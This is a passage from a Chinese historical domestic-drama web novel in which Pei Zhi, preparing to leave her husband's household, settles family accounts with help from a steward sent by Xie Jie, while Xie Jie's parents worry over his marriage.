管家婆子笑眯眯行礼:“老奴是主家那边的,正巧过来想与二夫人说些话。在府门外瞧见和悦酒楼的人要孝敬二少夫人,于是就先跑个腿过来与二少夫人请个安。”
“奴家夫姓谢,老奴姓阮。人都喊老婆子阮三娘。”
主家?
夫家又姓谢?
裴芷重新打量这位阮三娘。
大约三十几岁的模样,五官端正,头发梳得一丝不苟,穿戴齐整。衣服颜色不出挑,但料子都是极好的。
规规矩矩在跟前站着,不卑不亢,气度很好。看得出是世家大族的脸的管事婆子。
寥寥两句话便把该说的都说清楚了。
阮三娘话中的意思是,她是谢家主家的管事婆子,是谢玠的人。她夫家姓谢,那便是她与她丈夫都是谢家的家生子。
她的丈夫应该是立了什么功,被主家赐了谢姓。
这么说来,阮三娘便是谢玠在内宅中的心腹之一。
裴芷让梅心将食盒中的吃食拿了出来,又屏退不相干的丫鬟,温声问:“阮嬷嬷,是大爷让您来的?”
阮嬷嬷一听这话,满脸高兴:“二少夫人真是聪慧,省了老婆子编许多瞎话来。”
“是奉戍大人让婆子来的,说如今二房这边应该要整治一番,让婆子过来帮二少夫人参详些。”
她说着,打量裴芷。
越打量越是欣喜。
这位二房的二少夫人长得可人。雪肤乌发,明眸菱唇,一身清冷端雅的气质宛若修竹,坐着一动不动都赏心悦目。
又想起裴芷的父亲是裴济舟,是清流世家的裴家。阮三娘便越发觉得面前的裴芷越发惹人怜惜。
这般好的姑娘,竟然嫁给了二房做了续弦夫人。
二房上下一窝的德行,她在主家做事听过一二,越发觉得裴芷命苦。
裴芷用了几勺甜汤,就漱了口与阮三娘说话。
阮三娘听了裴芷的安排,赞道:“二少夫人的釜底抽薪才是正解。得让恒哥儿离了这儿。不过首先得让二夫人和二爷心甘情愿放手。”
裴芷点头。
谢观南推卸责任,二夫人秦氏又要养病。两人若是合谋推脱了,恒哥儿这烫手山芋便在她手中。
虽说她狠心说不管,但终究是不放心。
要走,就得走得坦荡。
阮三娘道:“这个事也简单。二夫人不是一直想着让恒哥儿过继大爷名下?就拿着这个事做文章,让主家那边说恒哥儿要上族学,派几个人伺候恒哥儿上学。”
“二夫人见主家派了人,定是不敢说三道四,还以为主家那边在考察恒哥儿呢。”
裴芷慢慢点了点头。
由主家那边出面派人来教导恒哥儿,二夫人秦氏与谢观南不敢插手。也就是从根源上断了他们对恒哥儿的影响。<
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br>裴芷将阮三娘的主意想了几遍,越发觉得好。
难题被轻易解决,阮三娘处理事的能力可见一斑。
裴芷又与阮三娘说了些话,便让人为她安排一间屋子。阮三娘便在清心苑中住下了。
阮三娘要离开之前,忽地看了一眼用了几口的甜汤。
笑道:“二少夫人喜欢用,明日和悦楼还会做来送的。若是吃腻了,与我说一声,我让和悦酒楼送点别的新奇吃食来。”
裴芷心微微一动,含笑道了谢,亲自送了阮三娘出去。
梅心高兴:“没想到大爷如此上心,还记得少夫人喜欢的甜汤。”
裴芷面上微微一笑,心中却是极诧异的。
在和悦酒楼只是多用了点,谢玠竟然看在眼里。还借了这个由头给她送来得力人手。
她越欠大爷越多,到了现在都不知该怎么还。
她找来梅心,问:“大爷现在缺什么?”
梅心哭笑不得:“奴婢哪知道。大爷位高权重,又是主家当家人,哪有缺的?”
她想了想:“要不制点药丸,做好的,给大爷备着?”
裴芷摇头。
药丸是要入口的。入口的东西谢玠应该很谨慎,特别是经过上次**过后,吃食方面他应该是越发严了。
梅心忽然道:“大爷不是派了阮嬷嬷来了吗?瞧她的样子应该是知大爷想要什么的。”
裴芷一想也是,便将此事暗暗记下。等与阮三娘相熟了,便问她去。
……
松风院中,谢玠与谢父谢母用过晚膳。用茶漱了口,照例是与双亲闲聊说事。
他平日事多事忙,一月只能拨两日与双亲用饭。
谢父谢母自然是抓时机与他商量事。
谢父道:“听说你这几日与大理寺的陈大人喝茶。陈大人一向与你不和,朝堂上争执过几回。倒没想到他愿意与你坐下来喝茶。”
“陈大人是清流纯臣。一些政见不和也是常事。能解开心结,多一个助力,也是极好的。”
谢玠点头:“陈大人虽然为人古板固执,却是正直的。皇上亦是需要直臣的。”
谢母陈氏突然笑道:“我前些年在户部尚书王大人府中,赴寿宴时见过陈大人的幺女。长得亭亭玉立,秀外慧中。”
“如今算起来,今年刚及笄……”
“清流之家出来的闺秀是极好的,品行端正,待人接物有度。是极好的良配……”
第107章 报应在后头
谢玠垂着眼帘,轻轻吹着手中的茶盏,没搭话。
谢母陈氏要再说,谢玠将茶盏放在桌上,淡淡道:“父亲母亲若无事,我便回去了。”
“夜了,两老早些歇息。”
说完,便起身告辞。
谢父见得人影走了没了,叹了一口气看向谢母陈氏:“好好的,你提什么陈家的幺女?”
谢母陈氏面色发白,心里是气急的,只是涵养好,不会在此时发作。
半天,陈氏道:“从前顺风顺水几十年,自从生出忤逆的儿子,才知报应在后头。”
“都说子女是前世讨债的,我还不信。如今,才知老人言是真的。”
谢父听她说出的话这么重,又叹了口气。
“你也是糊涂。别的家的闺秀再怎么样都比陈大人家的好。你要撮合就说别的,玠儿也许会听一听。”
谢母陈氏深吸一口气:
“陈大人是清流派,家中规矩甚严,教养出来的女儿定不会差。”
“他既然谁家的女儿都瞧不上眼,也不喜欢。不如找个规矩清白的大家闺秀,让我们宽宽心。陈家四小姐年纪小,调教起来也听话。”
“他还有什么不满意的?是不是要等我们都**,才来胡为?”
谢父见她如此愠怒,与她分析。
“你也知道陈大人是清流派。那些清流派哪个瞧玠儿顺眼?玠儿能与陈大人喝茶,还喝了好几回,约莫是圣人的意思。”
“如今玠儿封侯在即,清流派不反对,圣人的圣旨便能顺利下来。拖了这么久还不是因为朝中有人与玠儿作对?生怕有人借题发挥,攻讦玠儿?”
谢母陈氏听了,一股冷汗浇灭了怒火。
到底是她目光短浅了,只盯着儿子的婚事,偏偏忘了封侯的大事。
谢父又道:“再者,姻缘是锦上添花,绝不是火中送炭。陈家女儿自然是好的,但是你怎知道陈家愿意将幺女送给我们当儿媳?”
谢母陈氏嘴硬:“我儿前途光明,进门之后便是侯夫人。有什么不好的?”
不用说别的,谢玠人品样貌是圣人赞过的,配公主都绰绰有余。
谢父摇头:“你只瞧见好处,没见结不成亲家的坏处。若是玠儿与陈家幺女相看过,他不喜欢怎么办?”
“若是娶进门来,玠儿冷落了人家,陈家难道不会有怨言?”
谢母陈氏不做声了。
好好一桩姻缘落到谢玠手上,是极有可能结成冤家。这样还不如不结亲,省得给儿子树死敌。
谢母陈氏:“那你说怎么办?”
为人父母者,为子计深远。
唯一儿子的婚姻大事,简直愁坏了两位老人。眼见的当年同出嫁的姐妹一个个都子孙满堂,孙子都能走能跳。
就谢府还孤零零的,儿子还被人说是天煞孤星,命中克妻。
谢父将下人都屏退了,低声道:“与你说一件稀罕事。”
“有人瞧见玠儿在和悦酒楼见了一位长得极美的女子。还送了女子回府。”
谢母陈氏眼睛一亮,声音颤抖:“当真?”
谢父:“玠儿行事太小心了,打听不到更多的。但我让人盯着和悦酒楼,玠儿还让人定了吃食送人。”
他笑:“玠儿鲜少如此用心对人,应该是真的喜欢。”
谢母陈氏想了半天,一会笑,一会愁云惨雾。
“但愿是一位好人家的闺秀,不管门楣高低,品行无碍就让玠儿娶进门来。”
“不管他如何厌恶提亲这事,作为母亲,他再不娶,我就去圣人面前告他不孝。”
谢父:“……”
……
谢玠往松风院走,不知道母亲已经快忍不了他,要去告御状的地步。
奉戍上前来,将阮三娘带的话说了。
谢玠面色无波澜:“这事你去办就是。”
不过是一个孩童罢了。他还不至于如此计较。
奉戍道:“裴二小姐因孩子才答应入谢府的门,如今也是为了孩子才走的艰难。”
“她真是个有情有义的人。”
谢玠没做声,只看了奉戍一眼。这话听来,骂得好脏。
在他看来所谓的有情有义不过是呆傻好坑骗罢了。
奉戍说完要告辞,突然又折身回来道:“甜汤送过去了,裴二小姐很喜欢。”
谢玠拿了一本书,
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手中顿了顿。
奉戍又道:“我再去问问梅心,问裴二小姐喜欢吃什么。京城也有不少酒家做甜汤糕点很是不错的。”
谢玠坐下,冷冷道:“你倒是上心。”
奉戍:“有来有往,裴二小姐那边必定感念大人的好意。”
“不需要。”
谢玠翻了一页书,很冷淡。
奉戍见他面色沉冷,心里又不确定大人到底对裴芷是怎么个意思。生怕自己再多言多做,会惹了大人不快。
到时候他被责备无所谓,怕牵连了裴芷。
奉戍告辞走了。
谢玠将书放在书案上,起身走到廊下。廊下点着两盏宫灯,灯光昏黄,竹影憧憧映在窗上。
夏日已来,天气炎热。
松风院植树多了些,鲜少植花草,如今看来冷冷清清的,分外萧条。可分明从前也是这般,也没觉得冷清。
他循着南边看去,那边瞧不见飞檐,只瞧见夜归的鸟雀掠过深蓝的天幕,倏地隐没树梢。
又看向旁边的飞廊,他想了想便登上了高处。
那边瞧过去只能看见小佛堂。而佛堂只燃着长明灯,并没有人往药鼎中加草药,煮着一锅黑漆漆的药汤。
谢玠让人将奉戍又唤来了。
奉戍来得莫名,他原本要出府办私事,见谢玠唤他回来心道自己要做的事难道被大人知道了。
他心中还有些惴惴不安。
谢玠突然道:“明日你与阮三娘送个口信,说我要一些解**丸,寻常的就行。”
奉戍松了口气:“好的。”
谢玠见他如释重负,问:“你有事瞒着我?”
奉戍连忙摆手:“不不,属下是要去替裴二小姐出口气。”
于是将要找安贵槐的晦气说了。
昨日他让人找到安贵槐的行踪,还有他的差使可曾吃回扣,准备晚上安贵槐吃酒回来,去突击清点粮草辎重。
“安家太过张扬了。安夫人与白家走得近,应该是想蹭点好处。属下想给他点教训,将他约束着。”
谢玠听了,没说什么,只淡淡道:“那去忙吧。”
奉戍一愣,赶紧抱拳离去。
第108章 三房四房的试探
第二日一早,裴芷用过早膳便往北正院去。阮三娘跟着。
裴芷对清心苑的下人道她是从杭州外祖家来的,糊弄过去。阮三娘虽然在大房那边管事,但管的是谢玠手里对外的布匹买卖。
所以,就算大房那边的下人对阮三娘也是不熟的。
裴芷到了北正院,照旧代秦氏理事。
今日不一样的是,三房钱氏与四房的李氏一起来了。她们说来探病,实则来探二房的口风。
裴芷上前与两位夫人见过礼,便斟酌着开口。
她想着和离的事早晚都得说,只是不知道现在暗中与两位夫人说清楚,还是等走了再告诉她们。
来的路上,她与阮三娘商量过。
阮三娘的意思是,既然打算先瞒着众人就瞒到走后,免得节外生枝。
但裴芷见两位夫人好似有什么话来问,便想着是不是她们知道了些什么,要不要怎么敷衍。
毕竟和离书给了府衙。府衙那边保不齐有人说出去,两位夫人应该都知道了。
三夫人钱氏笑道:“其实没什么事,就是不知二夫人是不是将府中库房钥匙给了少夫人。我们院中月例与采买是不是找少夫人支取。”
裴芷道:“从前如何依旧是如何。只是有些出项暂时得给我看一眼。”
四夫人李氏心急,笑着挽住裴芷的手:“我早说了,少夫人迟早要当家的。库房钥匙早就该给。”
说着,她将事前写好的单子递了过来:“仆人们的夏衣要做了,前天张管事的过来找四爷问,四爷说要添两个长随,于是就差了几匹布。”
“还有,四爷的表姑奶奶过世的随礼,四爷说要随十两,并各种丧礼若干。我说五两就够了。”
“还有这些,张姨娘怀了,说害口要吃燕窝……”
裴芷瞧着手中多出来的单子,慢吞吞看了好几眼,合起来让梅心拿着。
她道:“四夫人,一应开支报给侯管事,还有其他管事也是可以的。”
“管事们依着从前的例子能支取的便会给四夫人补上的。”
三夫人钱氏在旁边冷眼瞧着,见裴芷没接茬,忍不住道:“少夫人,如今新官上任,你可不要光想着改这个那个的,到头来伤了老人的心。”
裴芷:“怎么会呢?两位是二爷的婶婶,也是我的长辈。敬还来不及呢。”
钱氏与李氏憋了几日不敢来。
昨儿听说裴芷照常理事,今日才放了心过来探探究竟。四夫人李氏年轻些,性子急了些,拿了一些条子过来试探。
三夫人钱氏却沉得住气,想着等秦氏好了些,从她那边得了准信才给她三房那边拢好处。
两位夫人坐了一会儿,等大夫从秦氏的屋子里出来后才进去探望。
裴芷则去了偏屋见了府中管事们。
理完琐事,她将条子给了侯管事。
拿过去五张,侯管事退回了四张道:“只有四房张姨娘处可以拨一斤燕窝过去,不过也只有一斤,多的没了。”
意思是,其余四张都不能准。
裴芷点头:“就按着从前的规矩办吧。其余的我去与四夫人说。”
侯管事想了想,又道:“说起来三房四房有些账目是错的。得让他们补上银钱,不然下月的月例就发不出去了。”
裴芷点了头:“那侯管事尽管去对账,收账的事我来办。”
侯管事感激看了她一眼,下去办事了。
阮三娘在旁边忍不住道:“少夫人是要走的人。理完自己的账,悄悄走了就是。不必管他们如何。”
裴芷道:“是可以不用管。不过我不想留下后患。我姐姐的嫁妆先前填了府中的窟窿,这事得让大家知道。”
她清清白白来,自然是要清清白白走。
不会不清不楚胡乱和稀泥,留下把柄让谢府的人背后说她与过世的姐姐。
阮三娘想了想,点头道:“也是。二房的龌龊不能让他们随意揭过。都统统摊开来,谁丢了脸面别想顾全。”
短短一句话,让阮三娘对裴芷多了几分刮目相看。
看着温吞性子,内心却是正直刚烈的。
本以为她拿了已故姐姐的嫁妆就悄悄走了,没想到走也要走得这般硬气。
阮三娘是个爽利的性子,便与裴芷商量出主意。
到了晌午,主屋那边有人传话,二夫人秦氏要与裴芷商量要事。
阮三娘:“不管三夫人四夫人在二夫人面前说了什么,你只管应付她。”
“应付不来,便让我去会一会她们。”
裴芷露出笑容:“阮嬷嬷不用担心。二夫人不会为难我的。”
她还想说秦氏也不敢得。
阮三娘不知道其中的事,担心她受秦氏欺负。这份好意,她收下了。
裴芷到了秦氏的寝屋。
秦氏今日的脸色比昨日更好些,能安稳坐在床上喝粥说话。
樊嬷嬷与许嬷嬷见到裴芷进来,笑脸相迎。争着与裴芷说秦氏的好转,还有恒哥儿的
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好转。还殷勤搬了锦凳给她。
裴芷款款坐在床边,道:“二夫人今日身子好些了吗?”
秦氏点了点头,眸光有些不敢与她对视。
裴芷安坐着,轻松细语将对恒哥儿的安排说了:“大房那边等恒哥儿身子再好些,去见私塾先生。又会派人来照顾恒哥儿饮食起居。二夫人意下如何?”
秦氏眼眸里多了几分亮光,忍不住问:“这主意是你出的?”
裴芷道:“是我出的,也给二爷知晓了。一应琐事还得二爷亲自去裁定。二爷若是觉得对恒哥儿好,我便也放心。”
秦氏眼神复杂瞧着裴芷,半天才道:“以前是我错了,总以为你有私心。如今你这般是全部为了恒哥儿。”
裴芷并没有什么话与她多说,也不会趁着这时邀功。
恒哥儿的事说完了,她提起三房四房的事。
“有些名目是不可能从公中出的,我会与三夫人四夫人说清楚。还有侯管事说账目不平,三房四房欠了公中的一些账,得算清楚。”
秦氏听了,心里十分不舒服。
裴芷这话像是在说她从前不善掌家。
她虚弱喘了口气:“这个……你要算账就算吧。反正我现在也理不了事,也没这个心力。”
秦氏的推脱,裴芷早就预料到。
她淡淡道:“二夫人病着就好生养着。我与二夫人说这些便只是让二夫人心里知晓罢了。没什么大事的。”
秦氏虚弱咳嗽两声,心中却是忍不住冷笑。
三房四房的厉害小裴氏铁定不知道。这些年要不是她占了二房长嫂的名头,那两位哪只会拿那么少?
如今小裴氏要得罪人,而她借口养病,美美隐身,就坐山观虎斗吧。
裴芷见秦氏偷偷瞧着自己,心知她没怀什么好意。
秦氏见大事落定,而自己“病”又好了,便有了别的想法。
她握住裴芷的手,叹气:“都是我这个做婆母的不慈,才叫你与观南离了心。”
“如今观南给了你和离书,又安排了恒哥儿的去处,你……唉,我将来怎么面对亲家母?她可是对你寄予厚望。”
言下之意,裴母苏氏若是知道了她和离,一定饶不了她。
裴芷不动声色抽出手,道:“母亲那边由我自己去说吧。二夫人还是好生养病,万一又病情反复,身子可受不了。”
秦氏面色白了白。想到了自己为什么会生病时,脸上的神情绷不住裂开了。
第109章 越来越难以忍受
三房夫人钱氏与四房夫人李氏出了北正院。
两人对视一眼,三夫人钱氏甩着汗巾,道:“都说人不可貌相,我今日听这小裴氏说话,不像是善茬。”
四夫人李氏瞧着自己染了极鲜艳的指甲,漫不经心道:“能在二夫人底下熬了那么久,不声不响的,怎么可能心思是纯的。”
“不过也不用太担心。终究是年轻的小媳妇又是个续弦夫人。还不到她张狂的时候。”
三夫人钱氏:“听说了没?小裴氏刚回来就让侯管事把府上的库房查了一遍,好像还查了她过世姐姐的嫁妆。”
她皱起眉:“说起来,大裴氏的嫁妆很是丰厚,可惜是个短命的。她过世后都落在了二夫人手中。我怕小裴氏是想要回去。”
四夫人李氏呵呵笑了:“你担心什么?这个家是二夫人当家,她就算是全吞了也得给我们两房用。至于小裴氏想要回去,那也都是二房的事,与我们没有关系。”
三夫人钱氏心中却没那么乐观。
她总觉得侯管事查公中的库房,肯定将总账一起查了一遍。到时候让三房四房将前些年多支出的钱还回去可怎么办?
两人说着话便回了各自的院子。
四夫人李氏刚回去,还没来得及喝口茶就听见下人将退回的单子拿了回来。
下人:“侯管事说了,五张单子只有一张能批,其余四张都不合规矩的。”
四夫人李氏气得脸色涨红:“是侯管事这么说的?!”
下人:“是。侯管事还说,若是四夫人有什么不明白的,明日问问二少夫人。二少夫人说批了,他那边便取银子来。”
四夫人李氏气得喘气。
三夫人钱氏回院去也是同样,侯管事让人带了话,年前三房多预支的月例得算清楚。不然下季度的月例不发。
三夫人钱氏心中咯噔一声。
年前她娘家要买一百亩上好的水田,预支了一千五百两。还有过年回娘家,又预支了五百两回去送礼。
拢共两千两。
这笔钱现要扣回去,今年该怎么过日子?
……
裴芷从北正院出来后,长吁一口气。
谢府越来越让她难以忍受了。
不管是二夫人秦氏病好之后,言语上的暗暗讥讽与威胁;还是谢观云没大没小,张牙舞爪的威胁,又或是三房四房两位夫人的试探,都叫她脑仁隐隐作痛。
梅心瞧见裴芷脸色不太好,道:“少夫人,不要太累了。要不回院歇息吧。”
裴芷不愿回清心苑,只想找点别的事做一做。
她问起谢观南对于恒哥儿的安排。
梅心撇嘴:“早上奴婢就去问了。这几日二爷一直在大书房那边,也不出门。”
“小少爷的事,二爷也没什么吩咐。”
裴芷心中沉闷。
既然如此,恒哥儿怎么安置的事就用阮三娘的主意。
到时候由她抱着去大房那边与私塾先生见个面,拜过孔圣人之后,就开始启蒙了。
下了决定,裴芷烦闷的心情稍好了些。
谢观南没脸见她,她也不愿意见他。两人已是仇人,再见也没有必要。
阮三娘过来,笑道:“二少夫人,松风院大爷有话传来,说若是二少夫人得了空闲就做些解**丸。大爷那边要几瓶。”
裴芷连忙问要解什么毒的药丸,又问起了谢玠身子。
阮三娘哪里知道这么仔细,含糊道:“老奴不是大爷身边伺候的人,不太清楚。不过大爷一向身体康健得很。他要解**丸,应该是给别人备的。”
裴芷听她这么说就知道阮三娘知道的并不多。
裴芷与梅心商议。
梅心道:“奴婢得了空就去问问奉戍大哥看看大爷要什么。大爷说的解**丸,应该是给手下人备的。现如今春转夏,毒虫毒蛇出没。少夫人咱们做点防蛇虫的药粉吧。”
裴芷点了点头。
防蛇虫的药粉要用到雄黄,就必须去药铺买。
裴芷看了看天色还早,便让梅心备车马往济世堂去买雄黄与药材。再加上,也有一些事要问问济世堂的掌柜的。
从前是不方便去,现在是自由身,便能做点自己想做的事。
出了谢府,裴芷面色好转了些。
梅心与兰心也高兴。她们从前被拘束在府中做事,就算出门也是来去匆匆。如今时不时能叫一辆马车就出门,那真是打心眼里高兴。
到了济世堂,霍掌柜听说裴芷来了,高兴地亲自迎了进来。
“二少夫人,许久不见了。上次您给的药丸都卖光了。还有不少贵人想定您亲自做的碧玉生肌膏、人参养
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神丸、益气丸……”
霍掌柜一口气说了好几种。
裴芷边走边默默记下来。
这些药膏、药丸,还有药粉,她写了方子给济世堂帮忙做。若是卖出去了,她只收除去药材费之外的一成好处费。
她的方子好,又不藏私。济世堂这边依方做药膏药丸卖得非常好,双方都受益。
在药铺后院的花院亭中坐下来,裴芷面上带着浅淡笑容:“我亲自做与药铺伙计做,其实没什么区别。”
“掌柜的可以这么与贵人们说。若是真的要我亲自做药膏与药丸,价钱得多加一成,不划算的。”
霍掌柜笑呵呵的:“这二少夫人就不懂贵人的心思了。贵人们知道手中的药丸是‘青囊客’的关门徒弟亲手做的,那感觉完全不一样。”
“不要说加价一成,就是翻倍,贵人们也愿意掏钱。”
“上次二少夫人做的祛**丸,不也是统统都被人重金买光了吗?”
裴芷一愣,旋即抿唇轻笑。
说起上次的祛**丸还是个乌龙。
谢玠**,奉戍病急乱投医去济世堂搜罗祛毒的药丸。正巧她那时候做了些,便被奉戍高价买走了。
最后药不对症,才有了后来的事。
霍掌柜让人奉上好茶,又将先前卖的分红折成银票给了裴芷。
“我算是明白了。坐堂看诊,看病抓药,也只能挣点辛苦钱。还不如做点养生药丸挣的多。”
“二少夫人,先前提议怎么样?您好好想想,与济世堂合作再做些药丸。”
裴芷没说好也没说不好,只是让梅心将需要用的药材单子拿了出来,先让济世堂的配齐。
霍掌柜与裴芷相熟,知道她的性子谨慎,性格温吞了点。
他也不催,笑呵呵让人上了好茶与糕点。
他道:“这药铺后院风光不错,品茗观景,还种了不少药材。二少夫人尽管看。”
裴芷忽地道:“霍掌柜,我现在不是二少夫人了。您唤我裴姑娘吧。”
霍掌柜一愣,旋即想起了从谢府下人那边听来的风言风语。
他惊讶:“这……”
裴芷颔首微笑:“是的,我与谢府二爷和离了。如今是自由身了。”
霍掌柜惊讶过后便笑了,恭喜:“裴姑娘出了樊笼,可喜可贺。”